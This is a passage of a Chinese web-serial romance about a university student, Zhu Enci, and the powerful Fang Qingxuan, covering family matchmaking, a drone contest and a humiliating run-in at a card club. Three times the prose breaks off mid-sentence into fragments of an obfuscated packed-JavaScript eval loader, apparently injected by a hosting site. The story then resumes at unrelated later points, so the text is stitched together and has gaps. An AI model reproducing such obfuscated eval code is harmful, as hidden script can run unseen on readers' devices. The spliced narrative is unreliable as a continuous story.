“那是不是玩很大的?我没那么多钱呀。” “有我在,你就是没钱又能怎么着你。”何容与说着,摸摸她的发顶。 黄锦云大概觉得她的男朋友这句话man爆了,立刻像个小猫似的,眯眼笑笑,接受了这份摸头杀。 祝恩慈飞快地走过转角,不再继续看这出戏。 · 是日,是程碧落的忌日。 古刹庄严的红墙映着深秋鲜黄的银杏。 没让里头的方丈大动干戈、迎来送往,法事结束,方清悬从庙里出来的时候,走的是小门。 他来去匆匆,走完一遭,洁净的西装上就沾了点檀香气味。 手里捏了一纸签文,翻来覆去地看。 直到不得不往前看路,他随手团了团,把签塞进兜里。 几名随从紧紧跟上,护送的护送,开门的开门。 扑落肩上一点灰烬,方清悬就听见陈勉迫不及待来说公事:“明晚有个饭局,林小姐说请您务必到场,有正事要谈。” 好一个正事,方清悬说:“假公济私的戏,她倒是演不够。” 他往山下走,一边从容地吩咐着:“找个托词推了,委婉一点。” 委婉二字让陈勉生出点八卦嫌疑,他憋了点笑:“方总还是怜香惜玉。” 他折首,坐进已经敞开的车门里:“我是怕生出事端。” 方清悬一向以和为贵,不必为这点事跟林家闹不愉快。 陈勉开着车:“昨天老太太还提这事儿,说这两年您升了职,工作劳碌,只怕生活上的琐事料理不到位,正缺个贤内助,眼看着也快三十了。” 方清悬闭了眼休息,不以为然地回答:“我不缺什么贤内助,她一个堂堂大小姐,也不是生来给男人做左膀右臂的,这是什么话?” 陈勉被讲得红了脸。 “她迂腐,你就跟着奉承。”方清悬又睁了眼看他,讥诮道,“你要是跟老太太齐心,赶明儿我就换个人来做事。” 陈勉说:“嗐,我就是一传话的,老太太哪儿轮得到我奉承。” 方清悬往后一靠,没跟他计较。 林家的亲事想是难以推脱,正惹得他心情郁郁。 连累一些来吹耳旁风的人,都得在方清悬的脸色之下惶惶不已。 陈勉开了段路,才想起来问:“回西山?” 方清悬正应了声,少顷想到什么,又问:“今儿周几来着?” “周六了。” 他思索着:“去绮园。” 祝恩慈的国画课结束,又是一个和煦慵懒的下午过去。 她平常来这儿只进出书房,也很少碰到老太太他们,偶尔打个照面。 萍姨倒是忙进忙出,对她很周到。 到点下课,就来问祝姑娘:“饿了吧?厨子做了些下午茶,是给您准备的,在厢房。” 蒋羽正无聊地趴桌上,将蘸了墨汁的毛笔往水里搅和:“没有我的?” “你嘴巴那么挑,能有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他坐在那儿,看着她裙裾飘飘的清冷模样,女孩的双眸像是秋叶的形状,冷而脆弱,待人接物总显得克制。 他说:“还能让您记住是我的荣幸。” 祝恩慈戳穿他的故意戏弄:“方老师这么装腔作势地说话,是为了揶揄我吗?” 他振振有词:“是回敬。” 祝恩慈扯了扯嘴角,不太像个笑,看起来倒是嗔了一句:“无聊。” 她讲完,回头要往门口去。 见她要恼不恼的样子,他惭愧地一笑:“对不住,又犯浑了。” 祝恩慈说:“也不用这么一本正经,显得我特别小气。” 她慢慢地走,离他的座位又远了些,却听见身后人轻轻地吐出两个字:“真累。” 方清悬松了下领带,没往前拦她,但似乎话里又有话。 祝恩慈礼貌地说:“那我先走一步,再见。” 方清悬想笑:“宽慰的话也不说一两句,就急着要走,你究竟是懂尊师重道还是不懂?” 这事还得归咎于、她非得喊他方老师。 她说:“我是真的怕打扰你。” 方清悬静了静,怕她真跨出了门槛,接着有点儿没话找话的意思了:“书我看看。” 他抬了手要接,她不递过去就不懂事了。 “怎么想到学这个专业?”方清悬翻了几页她的《材料力学》,并不过心地看着她的笔记。 祝恩慈说:“就像古人羡慕鸟能飞,小时候抬头看到飞机我就会想,把我也带走吧。” 说到这个,方清悬想起一些旧事:“你那班主任我记得,说你文科成绩不错,选文的话,成绩可能更稳些。” 她说:“他也这么和我说,还说女孩子不适合学理科,其实呢,是因为理科重点班讲题速度太快,怕我跟不上,因此成绩下滑,影响学校的升学率。” 方清悬问:“怎么没依了他?” “我说,可是我是花木兰啊。” 祝恩慈说到这儿,看着他笑了一笑。 她不常笑,嘴角带那么一点弧度,就让窗外冷寂的月色都变暖了些。 后面这一句,与其说讲给她听,更像是一番自我的宣言:“好风凭借力,送我上青云,我是一定要飞的。” 她的话音就这般笃实地落了地。 方清悬看着她倔强而克制的眼睛,想起那花木兰的典故,过了会儿问:“邮票还在?” 她说:“随身携带。” 他的表情似乎感到意外。 “藏哪儿了?” 祝恩慈恶作剧似的说:“你猜猜。” 方清悬便真的盯着她看了一会儿。 男人仍然靠在那椅子上,用手指支着下颌,看起来闲适,又不免生出令旁人拘谨的上位者姿态。 没有打量,没有挪眼分毫,他就那么看着她的眼睛。 他看人的时候,遑论什么姿态,都格外的迷人又优雅,这样的直白坦荡,将她搞怪作弄人的定力都给看没了。 祝恩慈的心脏在鼓动,在热烈。 连带着身上的血管都膨胀。 此时此刻,她在一个不该肖想的人面前,也不知好歹地渴望了许多。 等祝恩慈的身上让他盯红了几处,方清悬收了视线,分明看也看完了,大概想也想完了,才端正了君子风范,极淡一笑说:“不礼貌。” 9. 天边明月02 其实祝恩慈根本没把“花木兰”带身上,这么说不过是为了拿这事儿取乐。 不料被方清悬这么不带情绪地上下一扫,她倒紧张了一些,肩膀都绷得紧紧的。 而他没有察觉到。 见他又松弛平静地倚在那儿,请她落座、但恩慈回绝了,方清悬便没再邀。 他修长如鹤的身姿松懒,莫名给人一种淡然的薄情之感,诚谨温良,又似漫不经心,若不是有姑娘,大概要点根烟叫自己陷进灰霉干涩的云雾里。 或是疲了。 她想,这人本就云山雾罩的。 很快有人叩门进来。 用人手里托一副崭新的玉石棋盘,进来后便瞧了一眼祝恩慈,有话要说的样子,但又欲言又止地看向方清悬,请示了他的意思。 方清悬出声疏淡:“你说。” “陈先生的车到门口了,要不要现在请他进来?” 他打趣道:“他想进来还用我去请,陈先生的架子已经大成这样了?” 用人道:“我这就去传话。” 方清悬半晌没出声,但稍抬下巴,给了祝恩慈一个眼神。 她莫名就领会了其中深意,是叫她先别走的意思。 她走不了,她的书还在他手里捏着呢。 等人退下,脚步声远去,男人才又出了声问祝恩慈,仍旧声线淡淡,好似不挂心,又要找话同她闲扯两句:“小羽最近怎么样?” 她说的是:“私人时间,不谈公事。” 为她这点小孩子气的机锋,方清悬敛着眉目,不由地笑了一声:“那你想和我谈什么?” 祝恩慈抿一抿唇,音调低下来一节:“还得麻烦您把书给我,我要回去。” 不知道他是听见还是没听见,仍是不动声色地继续翻那本教科书。 祝恩慈的话音刚落,桌上的手机屏幕便亮了亮,随后嗡嗡一震。 正好手机摆在祝恩慈这头,她低头一看。 耳畔传来方清悬的吩咐:“谁的电话,替我看一眼。” 她看到的是“林岚”两个字的备注。 她说:“我建议方先生还是自己看。” “要是林岚打来的就替我挂了。” 祝恩慈心下吃惊,直言道:“我没有这个权利。” 方清悬捧着她那书,分明视线也不落在上面:“你现在有。” 祝恩慈轻轻一怔。 骑虎难下之际,谢天谢地,电话自己停了。 那本书回到她手里的同时,陈秉言跨过门槛进来。 高大的男人手里挎着件西装,想是进了屋子就闲适许多,回自己家似的。 祝恩慈没喊人,但友善地一点头,讲句“告辞”,便垂首离开了厢房。 方清悬目送她出了门。 房里静止下来,恍然有缕散不去女子香。 等人撤出去好一会儿,陈秉言冲外面偏了偏下巴,问好整以暇的男人:“这姑娘是上回那个?” 他说的上回,指的是在会所那回。 方清悬道:“之前在青山资助了个女学生,你还记得?” 陈秉言坐下,接过他倒来的茶水,仔细寻思了一番:“为了你母亲的事儿?” “算是。”方清悬用帕子拭了沾茶的指尖,字正腔圆了些,恭谨地介绍了那姑娘,“她叫祝恩慈。” 陈秉言想了一番来龙去脉,说:“你倒是善心用不完,又在这儿给人安排差事,老太太手里漏一漏,都够十个大学生过活了。” “她自己也争气。”方清悬说着,又停顿在他的后半句话里,想到什么,说,“她就是那第十一个,非说给的太多诚惶诚恐,领了点儿蚊子腿。” 陈秉言倒是看得明白:“你们方家高门,不是人人都能攀得起。有几分本事,才受多少恩惠。多了的,受不起的,你叫她领回去往哪儿搁。” 方清悬捏了颗棋子,在他的话里,不走心地放置了一颗错棋。 陈秉言没再问女学生,闻到隐隐弥散的檀香味道,转而问他:“今天去看你母亲了?” 方清悬轻应一声,眼中的神思更为悠长了,尔后颔首低声说:“一切都好。” 聊到这儿,方清悬搁在桌角的手机又一响。 陈秉言看见了个熟悉的名字,林岚。 方清悬瞥一眼,轻飘飘地捞过手机。 听着他在电话里言辞委婉地谢绝、又周旋,陈秉言轻叹。 纵然跟方清悬从小一块儿长大,他都难说能摸清这位方公子的心事。 他跟身边的人总有几分不同。 方清悬这样的男人,不是一般人能招架得住的。 他过于成熟睿智,而又有相当高的眼界阅历,待人和睦温良,心里却总有一把尺子,用来丈量人心的深浅与距离。 和谁说什么话,都不是信手拈来的。 他的可贵之处在于,有上位者的野心、远见和气魄,有自己的心思和考量,却又不失君子风骨。 对上以敬,对下以慈。 上上下下,除却敌对的百般成见,就没有说他为人处事不好的。 牌桌之下摆着某件古代文人的真迹。 陈秉言闲着一瞥,就瞧见一句应景的,孤舟蓑笠翁,独钓寒江雪。 这日,祝恩慈回了学校之后直接去了图书馆,一直到闭馆才回到宿舍。 她平日的生活地图分配,基本上三点一线,严谨地按照计划里的时刻表执行,不会有太多的差池。 除了某一些闲适的黄昏,在和方清悬无预兆的碰头里。 时间会被缓缓地拉长,叫人不忍渡完。 从绮园拿回来的一些糕点,被她拎回去。 寝室里的同学都在,除了黄锦云。祝恩慈方坐下,不巧听到阴森森一声。 “你们知道32栋五楼有间屋子一直空着的事儿么?”董圆圆的话冷不丁从她床帘里冒出来,带冷了氛围,全然一副我要开始讲鬼故事了的节奏。 “什么事儿啊。”回应的是在搽脸的朱月林。 “听说死过人,一个师姐,跳了后面的月湖,后来全寝室都保研了。” 朱月林笑:“传说中每所大学都会有的保研路?” “还笑,不觉得瘆人么?就是上上届,经管院的。”董圆圆煞有其事。 “真假的?”朱月林一听有几分可信度,神色也恐惧了些,“为什么跳湖?” “听说她怀孕了,怀的是水表圈的孩子,人不要娃,又怕被讹上,逼她把孩子打了,那会儿师姐被弄得精神不济,听说还……”董圆圆话音未落,有人嗙一下把门推开。 是黄锦云回来了,董圆圆即刻扯上帘子,钻进了窝里。这两人因卫生打扫的事情闹过一回,颇有些不对付。 对那跳湖学姐的事儿,祝恩慈听了个一知半解,没往心里去,她正开着台灯,在研究今天的实验数据。 听见黄锦云回来的动静,并没有过于留心,却很快被揽住脖子,醉意熏人的女孩子凑近她,从后面抱住祝恩慈。 黄锦云语气亲昵:“我今天学会玩儿德.州.扑.克了,厉不厉害?” 祝恩慈闻到浓烈的酒味,应付一声:“厉害呀。” “改天教你?” 祝恩慈的心里话是我并不想学,但见黄锦云醉倒的样子,怕下一秒就要拉着她撒泼了,她点头敷衍过去:“好。” 她看了一眼黄锦云黑色的手包。吊牌还没拆掉,料想一定价格不菲。 就这样不过心的一眼,被黄锦云捕捉到,她把包放到祝恩慈的桌上,叫她看个够:“男朋友送的。” 不意外,恩慈继续敷衍:“特别漂亮。” “你也得找个有钱男人试一试,当然了,有钱还不够——”黄锦云想入非非地笑着,重复了上回说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说着无心繁华,祝恩慈往床榻躺去,闭眼却全是那湿褥烟瘴里,绮园的绫罗绸缎,红粉戏台,与无心戏弄她耳梢的蝴蝶。 还有男人那双远在天边的眼。 再见到方清悬是在比赛当天。 祝恩慈穿了院里的文化衫,跟大家一起到隔壁的高校参赛,她坐在中巴里喝热饮,北京下了雨,淅淅沥沥的,让眼前一切都似蒙雾。 窗子里看下去,体育场门口的指示牌上写几行大字:中国大学生飞行器设计创新大赛。主办方:中国航空学会。 祝恩慈悠游地扫过这些字眼,等前排同学下车,余光里赫然出现两辆森严的车,一前一后,从她眼下驶过。 一辆白牌车和一辆红旗。 到了场内,祝恩慈在自己的场地帮着师姐他们调试飞行器设备。 梁宇恒和胡润泽听闻什么似的,忽的勾肩搭背地往不远处眺去,暗测测地出声:“哪位啊?大名鼎鼎的方公子?” 苏朵含笑,仍背着他们,只说:“自然是气质最好的那个。” 祝恩慈挪眼看去。 离她很远的领导席,气质最出众的男人,青年才俊,一身黑色大衣,双手松松地交握在腿前,不紧不慢地候着开场,矜贵而从容。 他一侧是校里领导,另一侧的,官衔更大。 烟被发过来,他抬手推辞。殷勤是献不完的,方清悬不大为之所动。 或许这儿的目光太灼热,方清悬终于投来一眼。他眉骨深邃,而眸中淡色,总是浅而温吞,平稳且自持。 旁边有人同他讲话,都需躬身。 方清悬听了,浅浅颔首应。 两个男生瞧去一眼,面色一烫,自感弗如。 唯有祝恩慈还停在他眼中。 方清悬回望了有五六秒。 无意的,无波的,倒也叫她自甘地体会出暧昧丛生的悸动。 10. 天边明月03 不知道是不是祝恩慈的错觉,方清悬也往这里投来一点笑,许是她想多了些。 即便真有,那也是极浅薄的,似一道雨后的流岚。 她一眨眼,雨水落尽了,乌云往两边缓缓散,空出一块浅青色的塘,天上宛如淌着春水碧波。 “放晴了。” 讲话的是梁宇恒。众人随之抬头,也有不少的眼梢借机往“方公子”那处一瞥。 “男人的气质到顶了也不过如此吧。”人群里,不知道谁这样谬赞一声,引得众人嬉笑着纷纷说可不么。 “听说他最近在物色好学生。”苏朵知道得多些,跟他们说,“所以总来学校里。” “往哪儿物色?”胡润泽问。 “我也是听王老师的话,说方先生有计划涉足航空领域,给他们的商业版图打打基础,创立青年学生计划准备招贤纳士呢。” 胡润泽耳朵竖起来:“你要进方家的公司?” 苏朵一晃脑袋:“志不在此。” 祝恩慈蹲地上沉默地整理无人机的线路。 又听人问道:“方清悬旁边那姑娘是谁?” “未婚妻,叫林岚的。” 这声低了些。 祝恩慈冲着他们那儿的左边耳朵像被烫了一般,隐隐一热,是为未婚妻这三个字。 “林家的大小姐?” “是二小姐。”苏朵纠正。 她再抬眸时,方清悬身边果真多了个姑娘。 女人一席靛青色的大衣在身上,虽然距离远,也不难让人看出她一双睫毛浓黑蜷曲,像绒绒的鸦羽,扑闪扑闪。唇微微厚,像透光的果冻。 一堆深沉稳重的夹克衫里坐了个娇俏的姑娘,林岚在人堆里显得浓艳扎眼。 林岚坐她一侧,撑下巴,明眸皓齿冲着方清悬笑着。 方清悬手里多了个茶盅,他不喝那茶,只不过手往前一搭,暖暖的热汽就自动将要靠前来的女人阻隔了。 袅袅的烟飘在中间,似道天堑。 是他有意的。 这番推拒倒是委婉。 旁人递烟,方清悬接了没有抽。 顾及到林岚在这儿,不让女人闻到烟味是男性的基本涵养。 祝恩慈没多看几眼,眼波只往那头匆匆一掠。 胡润泽开朗些,队伍里就他跟苏朵一唱一和地侃大山。 他眯了眯眸:“不愧是千金小姐,这模子,身段儿,可真好。” 苏朵说:“人从小在文工团跳舞的,怎么能差。” “你又知道了?”胡润泽笑问。 “我姥爷当过十年兵,林岚她妈妈当年在军区里可是名气响当当的,军中一枝花傅长宁,听没听说?后来调到电影制片厂去,拍了两年任务戏,嫁了个上面的人家,搁家里头养的,也用不着出来演戏了。” 胡润泽稀奇:“你还听说得到这些事儿。” 苏朵笑:“是啊,要不是有这么个机会,你恐怕这辈子见不着这样儿的人物。” 这一头,见林岚过来,陈勉赶忙在一旁遣了个院领导出去,才把座位让了一格给她。 林岚瞧着那瓷青的茶杯子,腮帮子一托,搭茬儿说:“好久不见,清悬哥。” 方清悬温润知礼,没冷落了她,说道:“中秋刚碰过面。” 他的意思,不久前才见过。 她腹诽,中秋都过去多长时间了,可不算久吗? 况且那会子的碰面能叫碰面?不过是给她的老爷爷围桌祝寿,她跟他之间,隔了个老长的银河。 林岚:“老爷子说这会子想见见我,叫你一块儿过去,我寻思俩人分开走也不合适,正好在隔壁逛街,我听说你在这儿就先过来了,愁着一会儿让人看穿我们不熟悉,叫人老人家多心了总归不好,万一气出个什么——” 林岚讲到这儿,被陈勉一个眼梢递过来,才懂了话不好这样说。 她讪讪地一吐舌尖,给陈勉露出一个赔罪的表情。 这林二小姐嘴上是个活络的,不过好话说不到实处,做人方面还需修行。 说难听点儿,性情直率,情商不够。 好在一直被袒护得好,从没人说她的不是。 林岚又冲着方清悬一歪脑袋,声音很柔:“好不好嘛,清悬哥?” 方清悬手指在杯壁点一点:“老人家耳根子清净些,才好少受些气。” 林岚知道这是被讽刺了,她脸一黑:“耳根子清净又怎么样,心里要是不踏实,也不开心的呀。” 正说到这儿,方清悬接了个电话,说曹操曹操到,这道理没错。 他挂了爷爷的电话后,便抬手让陈勉吩咐一辆车来。 三分钟后,陈勉过来说备好了车。 林岚脸色转晴,想她的清悬哥果真没那么狠心。 比赛到中途,方清悬冲陈勉说道:“这儿你关照着。” 陈勉:“不留下来考量一下这些学生?” 方清悬:“不过是初赛,看不出什么眉目。” 他低了低声,对陈勉说:“今儿家宴,老爷子回西山。我得陪在旁边,催好几回了。” 陈勉:“有什么要紧事,这么急着召你回去?” “急倒是不急。” 方清悬眼波清冷地扫一眼林岚,紧了紧将将松开的袖口:“甭管有事没事,别又让他抓着把柄,给我扣个拿乔的帽子。罪过大了,回头难哄。” 陈勉随之瞥了林岚一眼。 林岚像模像样地点头,好像在说:罪过大了。 陈勉一收视线:“我送您出去。” 方清悬抬了手,意思不用,但眼神稍往后瞥,意思:解决这个。 陈勉见机,拦了小步往前跟的林岚:“方先生的车,从不让姑娘上的。” 林岚脸又是一黑,一派天真:“我还以为,他专门给我备车。” “怎么不是专门给您备的呢?”陈勉微笑,手臂往旁处一伸:“林小姐,这边请吧。” 林岚遥望男人高大修长的身姿,光风霁月,倒是不无淡漠。 方清悬往前走去,把刚才用过的钢笔卡在胸前口袋里。行政西装穿在身上,衬得人身形宽阔,像座岿然峻拔的高山。 她又看看拦在自己身前的一条手臂,轻轻一跺脚,不得不甩着包跟陈勉过去了。 这林小姐虽然道行浅,唱的怎么样一出戏,都明明白白写在脸上。 不过得亏她有面子,请退了好些年,在干部病房疗养的老爷子出山。 这回方清悬避不过,只好提脚赴宴去。 祝恩慈专注比赛,不知道方清悬是几时走的,等她试飞结束,被场上一阵阵掌声淹没,她再往上头的评委席看。 方清悬的位置是陈勉在坐,跟他来的那位林二小姐也不见了身影。 陈勉见到恩慈,友好地一点头。 她确信这个信号是真的,于是也带着笑回视过去。 H大的项目不负众望,进了决赛。 祝恩慈坐在聚餐的车后面,安静地复盘这场比赛的丢分之处。 夜里雨水潇潇,前脚进了宿舍,祝恩慈刚抖了抖衣裳,后脚就收到黄锦云的消息:[恩慈,你在寝室吗?] 祝恩慈回:[刚到] 黄锦云:[我有点喝多了,你能来接我吗?] 祝恩慈没太明白,紧随其后,黄锦云定位的地址就发了过来。 是一个棋牌俱乐部。 祝恩慈大差不差地猜到她正和谁待在一起:[是出了什么事吗?] 黄锦云:[没,他们玩儿呢] 祝恩慈警觉性很强:[需要我报警?] 黄锦云:[什么呀?真没事儿,我跟我男朋友在一起呢] 祝恩慈:[他不能送你吗?] 黄锦云:[他也喝大了,开不了车] 祝恩慈略一思忖。 黄锦云:[好吗,太晚了,我不太敢一个人打车,就我一个人回学校方向] 祝恩慈看了眼位置,好在这个俱乐部的位置还算敞亮,在一个繁华的商圈。 她应下,又披回了件衣服。 祝恩慈为了省点钱,是乘最后一班地铁过去的。 她到时,黄锦云正站楼底下等着她,好像并不是急切于让祝恩慈来接她,而是在欢迎祝恩慈来到她的领地。 在冷风里,祝恩慈觉察到不对劲,脚步缓了缓,藏在风衣里的手稍攥住。 但黄锦云已经看见她了,手臂长长一伸,把人揽住,笑问:“比赛怎么样?” “初赛过了。” “我祝你拿冠军。”黄锦云笑,酒窝浅浅。 祝恩慈一低头,就看到黄锦云手腕上挂了个跟她衣扣撞得叮当响的翡翠镯子。 “你不回学校吗?”祝恩慈看了眼俱乐部的大门,眼波清清楚楚看着她,说,“我不进去了。” 黄锦云:“来都来了,他们还有两圈结束,看看牌?” 祝恩慈:“我是来接你的,不是来玩牌的。” “干嘛这么严肃?”黄锦云往祝恩慈手里塞了个小食,“马上就结束了,我这会儿就走我男朋友会生气的。” 祝恩慈站着没动,几秒后她说:“实在要上去,我在这里等你。” 黄锦云也憋不住了,往她耳边一凑:“他想见你。” 祝恩慈蹙了眉,瞬间想到她那个跟她不对付的男朋友。 黄锦云晃晃她的手:“别这个表情嘛。” “见我做什么?” “他想……”黄锦云面色难堪,“想……” 祝恩慈定定看着她,等着她的后话。 黄锦云咬了咬嘴唇,十分难以启齿地红了脸,她手掌在唇边,极小声地跟祝恩慈说:“你知道吗,有些男人,喜欢玩儿双的——” 祝恩慈震惊回视。 黄锦云为她的震惊而一错愕,口不择言的:“你不是缺钱吗?” 祝恩慈更是眼眶睁圆:“你在说什么?” “不是不是,我不是那个意思!”黄锦云恨自己口舌快,“呸呸呸,我真不是那意思!我是想说,他对女人一向大方,你要是跟在他身后——” “我不愿意。”祝恩慈坚决地拒绝,音色敞亮,在风里铮铮,“你不走我走。” “不愿意就不愿意,你稍微等我一下,我拿个包就来!” 黄锦云正准备撒了她的手上楼去,一转头碰见了夹了根烟坐在玻璃门里头的何容与。 “阿与,”黄锦云喊他一声,又回头去看笔挺地立在寒风里的祝恩慈,语气讪讪的,“恩慈说,她……” “我听见了。”何容与从沙发上站起来,掸一下烟灰,要过去时又瞥见桌上一杯茶,他夹烟的手又端起那杯茶。 祝恩慈站在台阶下,看着他到跟前。 何容与居高临下地望着恩慈,就这样轻蔑地,上下将人瞧了好一番,尔后他出了声。 “浑身上下最贵的也就你这靴子吧,值不值三百?”男人上下扫一眼她,说着,冷冷一哂,吊儿郎当地说,“究竟哪儿来一身臭骨气?” 他话音刚落,那泼茶就自然地洒了出来,毫不留情地倒在了她的鞋子上,俨然要给她点儿见识的样子。 祝恩慈闪得快,也躲不掉被伤到了几分。 麂皮绒的靴子,是祝恩慈妈妈给她买的,此刻被油腻的汁水泼得脏透了,还沾了点茶叶,狼狈不堪。 祝恩慈二话没说,抬脚就往台阶上走。 黄锦云见状,忙往她身前一拦,紧紧抓着她抬起来要扇人的手。 黄锦云背着风,帮她挡了一点阴森寒意,她低了眸也低了声。 “骨气没有用的,恩慈。” 她的声音在俩人耳畔一回旋,把祝恩慈稍起的气焰吹灭了个尖儿。 两人同时低头看鞋,不知道能不能清洗干净,以绝后患,黄锦云说:“你忍一忍,我赔你一双。” 旁边一身正装的男人过来的时候,见到的就是这副景象。 看了会儿好戏的门童一下站直了身子,点头喊“陈总”。 陈秉言长腿稍顿住,神色凛然,人也高大,将场子震住后,他率先扫了一眼祝恩慈。 祝恩慈冷冷的眼神削过去,好像把他们打为一类人。 陈秉言脾气不错地抱愧一笑,他目色温润,很有体统,将祝恩慈眼里那点棱角看了回去。 而后,陈秉言又看向何容与:“谁准许你在这儿撒野?” 这话刺了他一下似的。 地盘是陈秉言的没错,但陈家到哪儿不得看方家的脸色? 何容与皮笑肉不笑,提醒他:“陈总这话还真是不客气,您怕是忘了,我也是方家的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祝恩慈答:“青山。” “这回去一趟不容易吧,到青山有直达的飞机?” 祝恩慈说:“要转两趟火车。最近通了铁路,顺畅多了。” 老人家点头,又关怀道:“天气凉了,平常日子功课多,少来几趟也成。” 蒋羽在一边竖着毛笔呢,忍不住插话:“那可不成,要不是祝老师来陪我唠上两句,跟你们两个女人待一块儿,我得闷死。” 祝恩慈看着她笑。 老太太懒得总念叨她这调皮捣蛋的嘴:“你要是真能跟人取取经,倒也罢了,人家大学生,栋梁之材,这么些日子,你倒是跟祝老师学了个什么,加减乘除算明白了吗?” 蒋羽噘着嘴巴呿了一声:“你要骂我就直接点儿,埋汰人算什么,那是一年级学的东西!” 旁边传来一声谑笑。 老太太又去看一旁的女人。 祝恩慈来绮园几回,眼熟了方清悬的这位继母,上回讥诮她“文人骨头轻”的那个,叫何姣。 老太太:“对了,那天老头子找清悬说了什么?” “您怎么不自个儿去问。” 她人在摇椅里悠闲地晃悠:“我说方家的男人都一个模样,一身的刺儿,说两句话就不痛快,我可懒得找这帮人打听。” 何姣:“前些天,岚儿去老爷子那儿告状,说他们家方哥哥眼睛长头顶上,遑论她怎么在人跟前儿晃,清悬愣是看也不看她一眼,这不,去给老爷子锤了两天腿,才答应了给她撮合一下。” 蒋羽:“她这叫挟天子以令诸侯,歹毒。” 何姣没搭腔:“我倒看不出,老爷子还肯卖她这个面子,人在机关医院,让好吃好喝的伺候着,能叫他出动的事儿,这就是鸿门宴也得去啊。” 她说着,若有所思地挑挑指甲:“也亏她想得出这主意,真是挤破头也要嫁进方家。” 蒋羽:“就跟您当年似的呗。” 何姣下意识咳了一声,脸都白了。 老太太瞧瞧何姣,想跟她说说老头子跟林家的渊源,又因为面前的是何姣,欲言又止地做了罢。 祝恩慈已经批好一页英语题,放下笔说:“我走了,太太。” “喔,夜路不好走。有人送你吧?” “有的。” 老太太手一拂:“去吧。” 蒋羽握着的笔往手心里一折,也抬手跟她拜拜。 祝恩慈从绮园出来时,一跨门槛儿,正好碰见往里头走的陈勉。 来人一挺身,喊声,“在呢,祝小姐。” 祝恩慈点头,莞尔:“陈先生。” 她往外头看,红旗车正冷肃而威严停在影壁之外。 祝恩慈再纳闷地看陈勉时,他面上带笑:“家里弟弟做事不妥当,欠两声管教,怠慢了姑娘,方先生替他请罪。” 陈勉语速稍快,祝恩慈还没捋清这里头的逻辑关系,什么弟弟?什么怠慢? 只抓了个关键词,她眼波微明,像点燃了个火星子,问:“方先生在?” 陈勉:“等好一会儿了,您要是肯赏脸,他亲自跟您说。” 祝恩慈随他过去。 坐在后边的男人如青松冷硬,正阖眸休憩,眉目里像覆着霜雪。大衣是沉冷的漆黑色,似乎将他融进夜色,但气场又令人存在感鲜明,仅隔着车窗,祝恩慈瞥一眼男人冷硬的下颌角,就不由地屏息。 直到陈勉把车门敞开,催了一声:“上去坐吧,外头冷。” 听见两人攀谈的声音,方清悬睁了眼。 她上车后,跟他稍稍保持一点距离,点一点头。 方清悬坐姿端直,疲态不显,往祝恩慈眼中看去,神色维持着无波无澜的状态,只浅浅一颔首:“今天很晚。” 祝恩慈:“不算晚的,不过天气凉了,天黑得早,显得夜色浓。” 不知道他恭候了多久,祝恩慈寒暄道:“方先生怎么没有进去歇脚?” 方清悬让陈勉从副驾取了双鞋盒,他伸手接过,平静地说:“来见你的,又不见他们,进去做什么?” 他出声极淡,说着要见她,又如说吃饭喝水一样自如镇定,搅得人心头翻覆而不觉。 一把嗓音低醇贴耳,如玉石往她心底一沉,祝恩慈心中微凛。 而后,她便见他取出一双女士的靴子。短筒,麂皮绒。 轻飘飘“笃”的一声落地,靴子被放到她脚边。 男人搭在膝盖上的手轻盈地往下一点,不着痕迹,细长骨节的微动恰落入她眼中,只听他音色淡泊:“试试。” 11. 天边明月04 世上有许多事,过去后回想,总有几分错处在里边。 譬如从容自如地坐上方先生的车,祝恩慈本该婉言推脱,眼下倒是不由自主地生出依恃的心态。 被混沌了理智,在素色的月影之中,敛着眉目细看身侧的短靴。 在他“试试”的好意里,她静得呼吸可闻。 她想这番由来要从何说起。 那天他明明不在,想必是那位陈总传的话了。 方才陈勉说什么“家里弟弟”,莫非是那个不讲理又傲慢的何容与? 方清悬的后母何姣又是个续弦的,怪不得陈秉言嘲弄他不姓方。 祝恩慈一抿唇,就将一切都大致想通了。 原来那是他同父异母的弟弟。 “方总怎么知道我穿几码鞋?”她看向方清悬,眼里蕴着不加修饰的俏意。 方清悬不以为意,指尖在膝头碰了碰,随口一句:“我上哪儿知道?” 尔后,他坦诚道,“不过是估摸了一下,否则不必大费周章请你来车里试鞋。” “是大费周章请我试鞋,还是大费周章等我?”祝恩慈问他。 方清悬低了低声,也低了低眸,往她脚边看:“等你不碍事,要是这鞋不合脚,我倒要心不定了。” 遑论真心假意,祝恩慈觉得心尖一涩,在他的话里低头。 她将鞋底一翻面,看到码数,竟然正是她的码,连小数点后面都精准无疑。 见她没有要试鞋的意思,方清悬问道:“需要我回避?” 祝恩慈说:“码数对的。” 言外之意,鞋就不试了。 方清悬稍默:“那就收下。” 弟弟弄脏他的鞋,方清悬代为补偿,但歉意幽微,他今天的面子看起来不十足诚挚,并不真的是来道歉的,举止面色里倒有几分凝重的威严。 方清悬自有威慑力,不论他往谁那里看去,对方一准儿绷直了肩背,不敢大喘气。 祝恩慈也不例外,他轻描淡写一双眼扫过来,她倒像犯了错似的,预料氛围不同寻常,悄悄克制着气息,不敢再玩笑妄言。 “先生有话要说?”祝恩慈问得小心。 方清悬等她主动问起,闭眼又稍作沉吟,方沉着声道:“怎么会去那样的地方。” 那样的地方?她蒙住:“陈总的地方?” 亏她还记得个陈总,方清悬眼里没什么笑意,但勾了下唇角:“记性倒是不错。” 祝恩慈听出:“您话里有话。” 方清悬似乎是起初并不打算多谈,但她机敏看破,他也没把心里的想法藏着掖着:“你母家离得远,母亲管不着你在北京这些事儿,听陈勉说她性子矜傲,也不至于拉了脸叫我关照着你,不过前几回暗暗寄了点儿东西过来,说是谢礼,大概称不上,你在北京无亲无故,她往我这儿打点,我自然得接着她的这点儿意思。” 